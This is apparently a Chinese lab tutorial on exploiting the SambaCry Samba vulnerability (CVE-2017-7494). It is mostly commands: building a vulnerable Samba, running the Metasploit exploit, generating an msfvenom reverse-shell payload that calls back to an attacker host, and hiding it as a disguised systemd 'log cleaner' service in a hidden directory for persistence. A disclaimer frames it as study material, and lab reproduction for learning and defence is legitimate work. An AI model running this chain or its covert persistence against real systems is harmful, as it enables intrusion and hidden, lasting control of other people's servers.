
声明:文中涉及到的技术和工具,仅供学习使用,禁止从事任何非法活动,如因此造成的直接或间接损失,均由使用者自行承担责任。
SambaCry(CVE-2017-7494)是 Samba 网络文件共享服务中的一个严重远程代码执行漏洞,因其与 Windows 的“永恒之蓝”漏洞在影响力上相似,常被称为 Linux 版的“永恒之蓝”。
漏洞利用实验
漏洞原理
该漏洞存在于 Samba 3.5.0 至 4.6.4 版本中。攻击者可以利用 Samba 服务的 IPC 命名管道机制,通过路径遍历(Path Traversal)上传恶意共享库文件(.so),并诱导服务加载执行,从而获取服务器的最高权限(root)。
实验环境
攻击机:Kali Linux

靶机:Ubuntu 存在漏洞的 Samba 服务(版本 3.5.0 - 4.6.4)要在 Linux 上复现该漏洞,需要手动搭建一个包含漏洞版本的 Samba 服务。
1. 安装编译依赖
sudo apt updatesudo apt install build-essential python-dev libacl1-dev libldap2-dev
2. 下载并解压 Samba 4.6.3
wget https://download.samba.org/pub/samba/stable/samba-4.6.3.tar.gztar -xzf samba-4.6.3.tar.gzcd samba-4.6.3
3. 配置、编译、安装
./configure --without-ad-dc --without-systemdsudo make -j4sudo make install
4. 配置共享
sudo mkdir -p /tmp/sambasudo chmod 777 /tmp/samba
编辑配置文件 /usr/local/samba/etc/smb.conf,添加以下内容以创建一个匿名可写的共享目录:[global] map to guest = Bad User server role = standalone server usershare allow guests = yes log file = /usr/local/samba/var/log.smbd[anonymous] path = /tmp/samba browseable = yes writable = yes guest ok = yes guest only = yes read only = no force user = nobody
6. 启动 Samba
sudo /usr/local/samba/sbin/smbd -D
7. 确认版本
/usr/local/samba/sbin/smbd --version
1. 启动 Metasploit Framework
search CVE-2017-7494## use 0 use exploit/linux/samba/is_known_pipename
3. 配置攻击参数
set RHOSTS 192.168.65.131set SMB_SHARE_NAME anonymousset SMB_FOLDER /tmp/samba
3. 执行攻击
漏后渗透:生成反弹shell程序并上传
1. 生成反弹shell程序
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.65.129 LPORT=9999 -f elf> shell.elf
2. 上传反弹shell程序
upload shell.elf /home/enjoy/Downloads/shell.elf
3. 设置文件权限
漏后渗透:Systemd 伪装服务(持久化)
1. 放置隐蔽目录
sudo mkdir -p /usr/local/lib/.syslogsudo cp /home/enjoy/Downloads/shell.elf /usr/local/lib/.syslog/helpersudo chmod +x /usr/local/lib/.syslog/helper
2. 创建 systemd 服务文件
sudo nano /etc/systemd/system/systemd-logcleaner.service
3. 写入以下内容:
[Unit]Description=System Log Cleaning ServiceAfter=network.target[Service]ExecStart=/usr/local/lib/.syslog/helperWorkingDirectory=/usr/local/lib/.syslogRestart=alwaysRestartSec=30StandardOutput=journalStandardError=journal[Install]WantedBy=multi-user.target
# 重载 systemd 配置sudo systemctl daemon-reload# 设置开机自启sudo systemctl enable systemd-logcleaner.service# 立即启动sudo systemctl start systemd-logcleaner.service
5. 查看服务状态
systemctl status systemd-logcleaner.service
6. 再去kali上设置并打开监听(这个也可以放到第一步)
msfconsoleuse exploit/multi/handlerset PAYLOAD linux/x64/meterpreter/reverse_tcpset LHOST 192.168.65.129set LPORT 9999run
总结
Linux 版的“永恒之蓝”(SambaCry)不仅展示了远程代码执行的威力,更揭示了 Linux 环境下 Systemd 伪装服务结合的隐蔽持久化威胁。通过复现此漏洞,我们可以深刻理解从漏洞利用到权限维持的全链路攻击手法,从而更好地制定防御策略。